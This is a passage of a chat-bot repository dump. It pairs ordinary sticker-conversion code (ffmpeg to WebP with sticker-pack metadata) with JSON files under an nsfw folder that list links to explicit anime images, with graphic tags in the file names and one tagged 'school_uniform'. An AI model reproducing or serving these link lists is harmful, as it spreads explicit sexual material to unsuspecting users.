"scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse" 21 | ]) 22 | .toFormat("webp") 23 | .save(tmpFileOut) 24 | }) 25 | const buff = fs.readFileSync(tmpFileOut) 26 | fs.unlinkSync(tmpFileOut) 27 | fs.unlinkSync(tmpFileIn) 28 | return buff 29 | } 30 | 31 | async function videoToWebp (media) { 32 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 33 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.mp4`) 34 | fs.writeFileSync(tmpFileIn, media) 35 | await new Promise((resolve, reject) => { 36 | ff(tmpFileIn) 37 | .on("error", reject) 38 | .on("end", () => resolve(true)) 39 | .addOutputOptions([ 40 | "-vcodec", 41 | "libwebp", 42 | "-vf", 43 | "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse", 44 | "-loop", 45 | "0", 46 | "-ss", 47 | "00:00:00", 48 | "-t", 49 | "00:00:05", 50 | "-preset", 51 | "default", 52 | "-an", 53 | "-vsync", 54 | "0" 55 | ]) 56 | .toFormat("webp") 57 | .save(tmpFileOut) 58 | }) 59 | const buff = fs.readFileSync(tmpFileOut) 60 | fs.unlinkSync(tmpFileOut) 61 | fs.unlinkSync(tmpFileIn) 62 | return buff 63 | } 64 | 65 | async function writeExifImg (media, metadata) { 66 | let wMedia = await imageToWebp(media) 67 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 68 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 69 | fs.writeFileSync(tmpFileIn, wMedia) 70 | if (metadata.packname || metadata.author) { 71 | const img = new webp.Image() 72 | const json = { "sticker-pack-id": `https://github.com/KirBotz`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 73 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 74 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 75 | const exif = Buffer.concat([exifAttr, jsonBuff]) 76 | exif.writeUIntLE(jsonBuff.length, 14, 4) 77 | await img.load(tmpFileIn) 78 | fs.unlinkSync(tmpFileIn) 79 | img.exif = exif 80 | await img.save(tmpFileOut) 81 | return tmpFileOut 82 | } 83 | } 84 | 85 | async function writeExifVid (media, metadata) { 86 | let wMedia = await videoToWebp(media) 87 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 88 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 89 | fs.writeFileSync(tmpFileIn, wMedia) 90 | if (metadata.packname || metadata.author) { 91 | const img = new webp.Image() 92 | const json = { "sticker-pack-id": `https://github.com/KirBotz`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 93 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 94 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 95 | const exif = Buffer.concat([exifAttr, jsonBuff]) 96 | exif.writeUIntLE(jsonBuff.length, 14, 4) 97 | await img.load(tmpFileIn) 98 | fs.unlinkSync(tmpFileIn) 99 | img.exif = exif 100 | await img.save(tmpFileOut) 101 | return tmpFileOut 102 | } 103 | } 104 | 105 | async function writeExif (media, metadata) { 106 | let wMedia = /webp/.test(media.mimetype) ? media.data : /image/.test(media.mimetype) ? await imageToWebp(media.data) : /video/.test(media.mimetype) ? await videoToWebp(media.data) : "" 107 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 108 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 109 | fs.writeFileSync(tmpFileIn, wMedia) 110 | if (metadata.packname || metadata.author) { 111 | const img = new webp.Image() 112 | const json = { "sticker-pack-id": `https://github.com/KirBotz`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 113 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 114 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 115 | const exif = Buffer.concat([exifAttr, jsonBuff]) 116 | exif.writeUIntLE(jsonBuff.length, 14, 4) 117 | await img.load(tmpFileIn) 118 | fs.unlinkSync(tmpFileIn) 119 | img.exif = exif 120 | await img.save(tmpFileOut) 121 | return tmpFileOut 122 | } 123 | } 124 | 125 | module.exports = { imageToWebp, videoToWebp, writeExifImg, writeExifVid, writeExif } 126 | -------------------------------------------------------------------------------- /src/media/nsfw/glasses.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://media.discordapp.net/attachments/556959468252954634/694944530285199440/image0-2.jpg"}, 3 | {"url":"https://media.discordapp.net/attachments/556959468252954634/704130759199293580/image0.png"}, 4 | {"url":"https://media.discordapp.net/attachments/556959468252954634/603283581002842155/image0.jpg"}, 5 | {"url":"https://media.discordapp.net/attachments/556959468252954634/634877730416099336/image0.jpg"}, 6 | {"url":"https://media.discordapp.net/attachments/556959468252954634/589496991852265532/D34mtWJUYAAg70m_large.jpg"}, 7 | {"url":"https://media.discordapp.net/attachments/556959468252954634/603283662460682243/image0.png"}, 8 | {"url":"https://media.discordapp.net/attachments/556959468252954634/603283591161446402/image0.jpg"}, 9 | {"url":"https://media.discordapp.net/attachments/556959468252954634/627289213662003200/70287451_p0_master1200.jpg"}, 10 | {"url":"https://media.discordapp.net/attachments/556959468252954634/589497115353546752/DzodToGUUAUpHlS_large.jpg"}, 11 | {"url":"https://media.discordapp.net/attachments/556959468252954634/590654270936711179/hitsujigaoka_nemu_gankutsu_sou_no_fuyajou_san_drawn_by_nitro_mugityaoisii__sample-50086066f2632d8de6.jpg"}, 12 | {"url":"https://media.discordapp.net/attachments/556959468252954634/737046330647773294/illust_83251610_20200726_133858.png"}, 13 | {"url":"https://media.discordapp.net/attachments/556959468252954634/707412081095344138/image0.jpg"}, 14 | {"url":"https://media.discordapp.net/attachments/556959468252954634/631301414542639116/image0.jpg"}, 15 | {"url":"https://media.discordapp.net/attachments/556959468252954634/669270831016443924/76563936_p0_master1200.png"}, 16 | {"url":"https://media.discordapp.net/attachments/556959468252954634/704805820256485523/image0.jpg"}, 17 | {"url":"https://media.discordapp.net/attachments/556959468252954634/589498132828520468/Dzse-h9VAAAzELR_large.jpg"}, 18 | {"url":"https://media.discordapp.net/attachments/556959468252954634/589497137658724362/DznW-CgUYAAk5Vg_large.jpg"}, 19 | {"url":"https://media.discordapp.net/attachments/556959468252954634/718175932602515557/illust_82084629_20200604_115318.jpg"}, 20 | {"url":"https://media.discordapp.net/attachments/556959468252954634/636752505388400670/image0.jpg"}, 21 | {"url":"https://media.discordapp.net/attachments/556959468252954634/603283674477363280/image0.jpg"}, 22 | {"url":"https://media.discordapp.net/attachments/556959468252954634/603283604054868001/image0.png"}, 23 | {"url":"https://media.discordapp.net/attachments/556959468252954634/668468590181089280/155_mar_e04_03.png"}, 24 | {"url":"https://media.discordapp.net/attachments/556959468252954634/606821723668611083/image0.jpg"}, 25 | {"url":"https://media.discordapp.net/attachments/556959468252954634/652578306658533376/8455b06ca3b211bf821c741eb502ed5e.jpg"}, 26 | {"url":"https://media.discordapp.net/attachments/556959468252954634/626878949992955929/3068bce1548e2f9de29d37afc6ba6571_01C9VVDA5ZJA2K41XT5G8ZQ55Z.640x0.jpg"}, 27 | {"url":"https://media.discordapp.net/attachments/556959468252954634/637296463709208586/image0.jpg"}, 28 | {"url":"https://media.discordapp.net/attachments/556959468252954634/638471226087440393/image0.jpg"}, 29 | {"url":"https://media.discordapp.net/attachments/556959468252954634/594866567788101654/illust_70464839_20190626_225617.png"}, 30 | {"url":"https://media.discordapp.net/attachments/556959468252954634/652578219794497547/8eef3837087c9944f37ad27b7e0115ba.jpeg"}, 31 | {"url":"https://media.discordapp.net/attachments/556959468252954634/719469938154143785/illust_74759514_20200608_011759.png"}, 32 | {"url":"https://media.discordapp.net/attachments/556959468252954634/636750057076686871/image0.png"}, 33 | {"url":"https://media.discordapp.net/attachments/556959468252954634/590654250468507707/mash_kyrielight_fate_grand_order_and_etc_drawn_by_uguisu_kagura__edf776eb552730b0c936c7ee51a14225.jpg"}, 34 | {"url":"https://media.discordapp.net/attachments/556959468252954634/590654280076230704/thompson_submachine_gun_girls_frontline_drawn_by_take_trude1945oneetyan__sample-01fb97622066360dd20a.jpg"}, 35 | {"url":"https://media.discordapp.net/attachments/556959468252954634/603283587982164009/image0.jpg"}, 36 | {"url":"https://media.discordapp.net/attachments/556959468252954634/631678867932839936/girls-with-guns-01112018-06.jpg"}, 37 | {"url":"https://media.discordapp.net/attachments/556959468252954634/706540746651729980/I9ywLzxfXcagS_2t4X10EHg1KxjrErStzgu3-doVIJ4.png"}, 38 | {"url":"https://media.discordapp.net/attachments/556959468252954634/669270727232323584/78249151_p0_master1200.png"}, 39 | {"url":"https://media.discordapp.net/attachments/556959468252954634/590654263324180520/bb_and_bb_fate_grand_order_and_etc_drawn_by_michael_r__sample-ea83c48d614d56429b02987f500924cb.jpg"}, 40 | {"url":"https://media.discordapp.net/attachments/556959468252954634/617774863549202479/image0.jpg"}, 41 | {"url":"https://media.discordapp.net/attachments/556959468252954634/668489652646182988/78507501_p0_master1200.png"}, 42 | {"url":"https://media.discordapp.net/attachments/556959468252954634/634877731720658956/image8.jpg"}, 43 | {"url":"https://media.discordapp.net/attachments/556959468252954634/737871875048472576/illust_83289281_20200728_201909.png"}, 44 | {"url":"https://media.discordapp.net/attachments/556959468252954634/627289247933661184/70802989_p0_master1200.jpg"}, 45 | {"url":"https://media.discordapp.net/attachments/556959468252954634/634877729803862041/image6.jpg"}, 46 | {"url":"https://media.discordapp.net/attachments/556959468252954634/627289251981033473/53806164_p0_master1200.jpg"}, 47 | {"url":"https://media.discordapp.net/attachments/556959468252954634/669270455169056778/78238187_p0_master1200.png"}, 48 | {"url":"https://media.discordapp.net/attachments/556959468252954634/636750060356370433/image0.jpg"}, 49 | {"url":"https://media.discordapp.net/attachments/556959468252954634/707407235609002054/image0.jpg"}, 50 | {"url":"https://media.discordapp.net/attachments/556959468252954634/634877729283506186/image7.jpg"}, 51 | {"url":"https://media.discordapp.net/attachments/556959468252954634/771269079029776394/illust_84539103_20201029_000743.png"}, 52 | {"url":"https://media.discordapp.net/attachments/556959468252954634/769038451717701662/image0.jpg"}, 53 | {"url":"https://media.discordapp.net/attachments/556959468252954634/589498132438712330/DzqqfOMVAAA76W3_large.jpg"}, 54 | {"url":"https://media.discordapp.net/attachments/556959468252954634/636746176993165323/image0.jpg"}, 55 | {"url":"https://media.discordapp.net/attachments/556959468252954634/615581457733124096/image0.jpg"}, 56 | {"url":"https://media.discordapp.net/attachments/556959468252954634/627289233572233217/68282091_p0_master1200.jpg"}, 57 | {"url":"https://media.discordapp.net/attachments/556959468252954634/603283626225827900/image0.jpg"}, 58 | {"url":"https://media.discordapp.net/attachments/556959468252954634/706739518522523658/image0.jpg"} 59 | ] -------------------------------------------------------------------------------- /lib/exif.js: -------------------------------------------------------------------------------- 1 | //base by DGXeon 2 | //re-upload? recode? copy code? give credit ya :) 3 | //YouTube: @DGXeon 4 | //Instagram: unicorn_xeon13 5 | //Telegram: t.me/xeonbotinc 6 | //GitHub: @DGXeon 7 | //WhatsApp: +916909137213 8 | //want more free bot scripts? subscribe to my youtube channel: https://youtube.com/@DGXeon 9 | 10 | const fs = require('fs') 11 | const { tmpdir } = require("os") 12 | const Crypto = require("crypto") 13 | const ff = require('fluent-ffmpeg') 14 | const webp = require("node-webpmux") 15 | const path = require("path") 16 | 17 | 18 | async function imageToWebp (media) { 19 | 20 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 21 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.jpg`) 22 | 23 | fs.writeFileSync(tmpFileIn, media) 24 | 25 | await new Promise((resolve, reject) => { 26 | ff(tmpFileIn) 27 | .on("error", reject) 28 | .on("end", () => resolve(true)) 29 | .addOutputOptions([ 30 | "-vcodec", 31 | "libwebp", 32 | "-vf", 33 | "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse" 34 | ]) 35 | .toFormat("webp") 36 | .save(tmpFileOut) 37 | }) 38 | 39 | const buff = fs.readFileSync(tmpFileOut) 40 | fs.unlinkSync(tmpFileOut) 41 | fs.unlinkSync(tmpFileIn) 42 | return buff 43 | } 44 | 45 | async function videoToWebp (media) { 46 | 47 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 48 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.mp4`) 49 | 50 | fs.writeFileSync(tmpFileIn, media) 51 | 52 | await new Promise((resolve, reject) => { 53 | ff(tmpFileIn) 54 | .on("error", reject) 55 | .on("end", () => resolve(true)) 56 | .addOutputOptions([ 57 | "-vcodec", 58 | "libwebp", 59 | "-vf", 60 | "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse", 61 | "-loop", 62 | "0", 63 | "-ss", 64 | "00:00:00", 65 | "-t", 66 | "00:00:05", 67 | "-preset", 68 | "default", 69 | "-an", 70 | "-vsync", 71 | "0" 72 | ]) 73 | .toFormat("webp") 74 | .save(tmpFileOut) 75 | }) 76 | 77 | const buff = fs.readFileSync(tmpFileOut) 78 | fs.unlinkSync(tmpFileOut) 79 | fs.unlinkSync(tmpFileIn) 80 | return buff 81 | } 82 | 83 | async function writeExifImg (media, metadata) { 84 | let wMedia = await imageToWebp(media) 85 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 86 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 87 | fs.writeFileSync(tmpFileIn, wMedia) 88 | 89 | if (metadata.packname || metadata.author) { 90 | const img = new webp.Image() 91 | const json = { "sticker-pack-id": `https://github.com/DGXeon`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 92 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 93 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 94 | const exif = Buffer.concat([exifAttr, jsonBuff]) 95 | exif.writeUIntLE(jsonBuff.length, 14, 4) 96 | await img.load(tmpFileIn) 97 | fs.unlinkSync(tmpFileIn) 98 | img.exif = exif 99 | await img.save(tmpFileOut) 100 | return tmpFileOut 101 | } 102 | } 103 | 104 | async function writeExifVid (media, metadata) { 105 | let wMedia = await videoToWebp(media) 106 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 107 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 108 | fs.writeFileSync(tmpFileIn, wMedia) 109 | 110 | if (metadata.packname || metadata.author) { 111 | const img = new webp.Image() 112 | const json = { "sticker-pack-id": `https://github.com/DGXeon`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 113 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 114 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 115 | const exif = Buffer.concat([exifAttr, jsonBuff]) 116 | exif.writeUIntLE(jsonBuff.length, 14, 4) 117 | await img.load(tmpFileIn) 118 | fs.unlinkSync(tmpFileIn) 119 | img.exif = exif 120 | await img.save(tmpFileOut) 121 | return tmpFileOut 122 | } 123 | } 124 | 125 | async function writeExif (media, metadata) { 126 | let wMedia = /webp/.test(media.mimetype) ? media.data : /image/.test(media.mimetype) ? await imageToWebp(media.data) : /video/.test(media.mimetype) ? await videoToWebp(media.data) : "" 127 | const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 128 | const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`) 129 | fs.writeFileSync(tmpFileIn, wMedia) 130 | 131 | if (metadata.packname || metadata.author) { 132 | const img = new webp.Image() 133 | const json = { "sticker-pack-id": `https://github.com/DGXeon`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] } 134 | const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]) 135 | const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8") 136 | const exif = Buffer.concat([exifAttr, jsonBuff]) 137 | exif.writeUIntLE(jsonBuff.length, 14, 4) 138 | await img.load(tmpFileIn) 139 | fs.unlinkSync(tmpFileIn) 140 | img.exif = exif 141 | await img.save(tmpFileOut) 142 | return tmpFileOut 143 | } 144 | } 145 | const { Image } = require('node-webpmux'); 146 | const { format } = require('util'); 147 | 148 | async function addExif(buffer, packname, author, categories = [''], extra = {}) { 149 | const img = new Image(); 150 | const json = { 'sticker-pack-id': 'Prexzy', 'sticker-pack-name': packname, 'sticker-pack-publisher': author, 'emojis': categories, 'is-avatar-sticker': 1, ...extra }; 151 | let exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]); 152 | let jsonBuffer = Buffer.from(JSON.stringify(json), 'utf8'); 153 | let exif = Buffer.concat([exifAttr, jsonBuffer]); 154 | exif.writeUIntLE(jsonBuffer.length, 14, 4); 155 | await img.load(buffer); 156 | img.exif = exif; 157 | return await img.save(null); 158 | } 159 | 160 | module.exports = { addExif, imageToWebp, videoToWebp, writeExifImg, writeExifVid, writeExif } 161 | -------------------------------------------------------------------------------- /src/media/nsfw/blowjob.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://konachan.com/sample/79580dfece36d208c76d55fe22ca21ec/Konachan.com%20-%20316451%20sample.jpg"}, 3 | {"url":"https://konachan.com/sample/737a707688c52fdfdd74797e76d67ee2/Konachan.com%20-%20316192%20sample.jpg"}, 4 | {"url":"https://konachan.com/sample/d274dae687e5755fa73dfe709de90b47/Konachan.com%20-%20316017%20sample.jpg"}, 5 | {"url":"https://konachan.com/sample/e94bc73cafb5d81656f0f54051a3676f/Konachan.com%20-%20313642%20sample.jpg"}, 6 | {"url":"https://konachan.com/sample/b3c757c85db4a1fd6715d87539d17cd4/Konachan.com%20-%20317400%20sample.jpg"}, 7 | {"url":"https://konachan.com/sample/c7d25d49db9857a6dbb8a45c0ab76dad/Konachan.com%20-%20317300%20sample.jpg"}, 8 | {"url":"https://konachan.com/sample/8f46ff65ee4b208316a0c4bdcc989370/Konachan.com%20-%20317317%20sample.jpg"}, 9 | {"url":"https://konachan.com/sample/2009598d749a5a111e61d5c65e3c757c/Konachan.com%20-%20317279%20sample.jpg"}, 10 | {"url":"https://konachan.com/sample/74f1ce532d4c347be6adaba1a57ac3ca/Konachan.com%20-%20317199%20sample.jpg"}, 11 | {"url":"https://konachan.com/sample/a43380a7d8d1e68d3fa3fcfb920119e6/Konachan.com%20-%20314913%20sample.jpg"}, 12 | {"url":"https://konachan.com/sample/8960664dbe1cb632e8a536be6124082e/Konachan.com%20-%20314170%20sample.jpg"}, 13 | {"url":"https://konachan.com/sample/7945931e487e718eddf4a3ac01b34426/Konachan.com%20-%20315274%20sample.jpg"}, 14 | {"url":"https://konachan.com/image/1bd456b822451d2d252c957466b3f3eb/Konachan.com%20-%20313319%20ass%20brown_hair%20edogawa_roman%20fellatio%20long_hair%20male%20original%20panties%20short_hair%20underwear.jpg"}, 15 | {"url":"https://konachan.com/sample/61b3fae697a0d0dd6b044114946875b3/Konachan.com%20-%20313145%20sample.jpg"}, 16 | {"url":"https://konachan.com/jpeg/5f228c2ea3a3d24b53816b1356503bfc/Konachan.com%20-%20313112%20blue_eyes%20daruzenon%20fellatio%20original%20penis%20uncensored.jpg"}, 17 | {"url":"https://konachan.com/sample/2ae3f719c828d198d9eed04150a76f94/Konachan.com%20-%20311198%20sample.jpg"}, 18 | {"url":"https://konachan.com/sample/8ab665e14e643263cbc71b8e5d0f97bd/Konachan.com%20-%20311137%20sample.jpg"}, 19 | {"url":"https://konachan.com/sample/1a673910ee1120f32777f279be8683e4/Konachan.com%20-%20310110%20sample.jpg"}, 20 | {"url":"https://konachan.com/sample/2b1a6987a70ae6e293c4ed3bbc7631b7/Konachan.com%20-%20306841%20sample.jpg"}, 21 | {"url":"https://konachan.com/sample/4c927111f51f3ea4da389d0e370cedae/Konachan.com%20-%20304452%20sample.jpg"}, 22 | {"url":"https://konachan.com/sample/39efd4561b8b3816e41597aa65cb57ee/Konachan.com%20-%20304449%20sample.jpg"}, 23 | {"url":"https://konachan.com/image/c9cae6f76871cbd7e92e83b188c31b9d/Konachan.com%20-%20307462%20atelier%20atelier_ryza%20blush%20breasts%20brown_hair%20cleavage%20close%20cropped%20fellatio%20gloves%20hat%20necklace%20penis%20reisalin_stout%20ricegnat%20short_hair%20uncensored.jpg"}, 24 | {"url":"https://konachan.com/sample/bc2cb7a28e1fb1afc3fb8ff8238ed167/Konachan.com%20-%20304447%20sample.jpg"}, 25 | {"url":"https://konachan.com/sample/fb7957ee7d9e7b26f7e971108150f05c/Konachan.com%20-%20304389%20sample.jpg"}, 26 | {"url":"https://konachan.com/jpeg/c020568ac67e2c1b86ee56cf1594f6bb/Konachan.com%20-%20304342%20blue_eyes%20blush%20breasts%20chinese_dress%20dress%20fellatio%20long_hair%20nipples%20no_bra%20nopan%20penis%20purple_hair%20pussy%20sex%20twintails%20uncensored%20zuo_wei_er.jpg"}, 27 | {"url":"https://konachan.com/jpeg/e293bcb5f8baffb95660f00221615d9a/Konachan.com%20-%20304128%20anus%20ass%20blue_eyes%20blush%20breasts%20catgirl%20censored%20cosplay%20cunnilingus%20dress%20fellatio%20game_cg%20headband%20long_hair%20nipples%20penis%20pussy%20tail%20thighhighs.jpg"}, 28 | {"url":"https://konachan.com/jpeg/fdba3a52f6659d02a934ece28e8357d6/Konachan.com%20-%20303095%20anus%20ass%20black_hair%20blush%20breasts%20dress%20fellatio%20gloves%20long_hair%20neocoill%20nipples%20penis%20purple_eyes%20pussy%20sex%20uncensored%20waifu2x%20watermark%20wink.jpg"}, 29 | {"url":"https://konachan.com/sample/de5266077a6bdc0b5ff4cbafd769a1d7/Konachan.com%20-%20303287%20sample.jpg"}, 30 | {"url":"https://konachan.com/sample/a26adbcd771dbce3b9ee23bb6ea23553/Konachan.com%20-%20303451%20sample.jpg"}, 31 | {"url":"https://konachan.com/image/47a3dc8079eaf6769d0be6d88b33d20a/Konachan.com%20-%20302206%20breasts%20brown_eyes%20brown_hair%20censored%20computer%20fellatio%20navel%20nipples%20nude%20penis%20pubic_hair%20pussy%20sex%20short_hair%20shungikuten%20spread_legs.jpg"}, 32 | {"url":"https://konachan.com/jpeg/403354ba220e70b078c527a6f13f90b6/Konachan.com%20-%20300981%20blue_eyes%20bow%20close%20fellatio%20handjob%20long_hair%20neocoill%20orange_hair%20penis%20ponytail%20river_city_girls%20uncensored%20waifu2x%20watermark.jpg"}, 33 | {"url":"https://konachan.com/image/13d7298aa4e20bf3e0085e72fc986791/Konachan.com%20-%20295618%20censored%20fellatio%20fingering%20jpeg_artifacts%20munashi_mujou%20no_bra%20nopan%20original%20penis%20pussy%20school_uniform.jpg"}, 34 | {"url":"https://konachan.com/image/a36fd99e28c693036a13c5ff4b6c6947/Konachan.com%20-%20295519%20anal%20anthropomorphism%20breasts%20censored%20fellatio%20group%20kantai_collection%20kashima_%28kancolle%29%20nipples%20nironiro%20nude%20sex.jpg"}, 35 | {"url":"https://konachan.com/sample/75f9da00eac3de0294fdd731274192ed/Konachan.com%20-%20294796%20sample.jpg"}, 36 | {"url":"https://konachan.com/sample/fb540e3bc9c5e67e210dfbb45b93b0b5/Konachan.com%20-%20294128%20sample.jpg"}, 37 | {"url":"https://konachan.com/sample/40c947426130d0390c7147a9263b183e/Konachan.com%20-%20290991%20sample.jpg"}, 38 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770968293778784256/18068030.gif"}, 39 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770969026473230356/ecab4fac-072b-4574-8d1d-b451dd0a027d.gif"}, 40 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770969364655505408/GIF_59.gif"}, 41 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770986528008044554/3440-Y4PqZXs5bXM.jpg"}, 42 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770987463882571826/0e96f106-9582-4057-a4c0-45b62219fc0c.jpg"}, 43 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770987504266117160/4d57f6f2-eba8-4351-97f0-c226fae40f94.jpg"}, 44 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770987584360022016/8b13e084-4982-438b-9ab9-f79c59522019.gif"}, 45 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770987655781023775/40d5401c-06f8-4596-bcd0-5758844a2bdc.jpg"}, 46 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770987668716519434/6b8ad91e-0291-41c8-8a3e-fefff28bfde6.gif"}, 47 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770987738677116948/61bd0b39-e8c1-45ba-b4d3-cf2ca8e85508.gif"}, 48 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770987801256525894/79bd6b11-4d8c-4e45-8ac5-2805b7642277.gif"}, 49 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770987844567040020/2725de0f-33fb-4636-8382-94971baf916d.jpg"}, 50 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770987901634215966/87608b54-075c-4fb9-869d-6595b5d1b909.gif"}, 51 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770988097767997470/015128b1-fd75-46be-a523-f81947d005ba.gif"}, 52 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770988121088983050/9931e03f-9d4e-4823-ab56-d074d25ec887.gif"}, 53 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770988149211136020/12092a05-9c50-4972-8ca6-8b092ca682ed.gif"}, 54 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770988159953141800/b27c1e99-433b-438f-8ae0-14125fb5002b.gif"}, 55 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/770988174943322132/20170604_193259.gif"}, 56 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771001443595321344/0530-5zeihiLhcWA.jpg"}, 57 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771002204998860850/0596-60zzeLzSqeU.jpg"}, 58 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771002458888470588/0613-F9J046Su2Oo.jpg"}, 59 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771015661089980427/1634-pjF5xdLo3WU.jpg"}, 60 | {"url":"https://cdn.discordapp.com/attachments/770948564947304448/771026536094629908/e731a0dc-9755-402f-af98-4b00717bcb1e.png"} 61 | ] -------------------------------------------------------------------------------- /src/media/tiktokpics/random.json: -------------------------------------------------------------------------------- 1 | [ 2 | {"url":"https://i.postimg.cc/2Sc8Yv0Q/p-1932029i39.jpg"}, 3 | {"url":"https://i.postimg.cc/VNvv04JZ/p-19320rf5h7.jpg"}, 4 | {"url":"https://i.postimg.cc/wxmtkW0S/p-193222brl5.jpg"}, 5 | 